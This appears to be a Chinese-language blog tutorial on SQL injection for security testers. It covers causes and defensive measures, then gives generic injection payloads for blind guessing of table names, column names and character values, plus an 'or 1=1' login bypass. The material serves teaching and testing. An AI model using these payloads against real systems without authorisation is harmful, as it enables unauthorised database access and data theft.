• 安全测试之sql注入


    不管是web界面还是app,都会涉及表单输入和提交,如果程序员没有对提交的字符进行过滤或者特殊处理,很容易会产生问题,这里讲的的sql注入就是其中一种方式,在表单中输入sql语句达到进入系统的目的。

    sql注入的原理就是上面提到的通过构造特殊的输入作为参数传入web或者app

    sql注入产生原因有几个原因:

    1、不当的类型处理

    2、不安全的数据库配置

    3、不合理的查询处理

    4、不当的错误处理

    5、转义字符处理不合适

    6、多个提交处理不当

    sql注入防护

    1、不要相信用户的输入,对任何输入都需要做校验(比如长度,正则,等)

    2、不使用动态拼接sql

    3、不使用管理员权限的数据库连接(每个用户单独设置权限)

    4、机密信息不直接存放,可以加密或者不直接打印

    5、异常信息尽可能使用内部错误码

    sql注入方法

    猜表名:

    and (select count(*) from 表名) <>0

    and exists (select * from 表名)

    猜列名:

    and (select count(列名) from 表名) <> 0

    and exists (select 列名 from 表名)

    一般用户名为user 密码为passwd/password

    猜列名长度:

    and (select length(列名) from 表名) = 2

    绕过身份验证:

    or 1=1

    猜表的条数(一般用在判断账号个数):

    and 0<(select count(*) from 表名)

    and 1<(select count(*) from 表名)

    猜字段第一个字符:

    and 1=(select count(*) from 表名 where substr(列名,1,1)='a')

    若返回正常,则可继续猜第二位

    and 1=(select count(*) from 表名 where substr(列名,1,2)='ab')

    通过asscii码猜字符:

    and 1=(select count(*) from 表名 where ascii(substr(列名,1,1))='49')

  • 相关阅读:
    Struts数据效验
    Struts2中国际化
    ValueStack对象
    Ognl表达式语言
    Struts2拦截器
    ubuntu下tomcat运行不起来解决
    Windows 下的SSH客户端
    远程管理控制ssh
    linux用户和组账户管理
    搭建Java服务器,并且实现远程安全访问linux系统
  • 原文地址:https://www.cnblogs.com/watertaro/p/9525765.html
Copyright © 2020-2023  润新知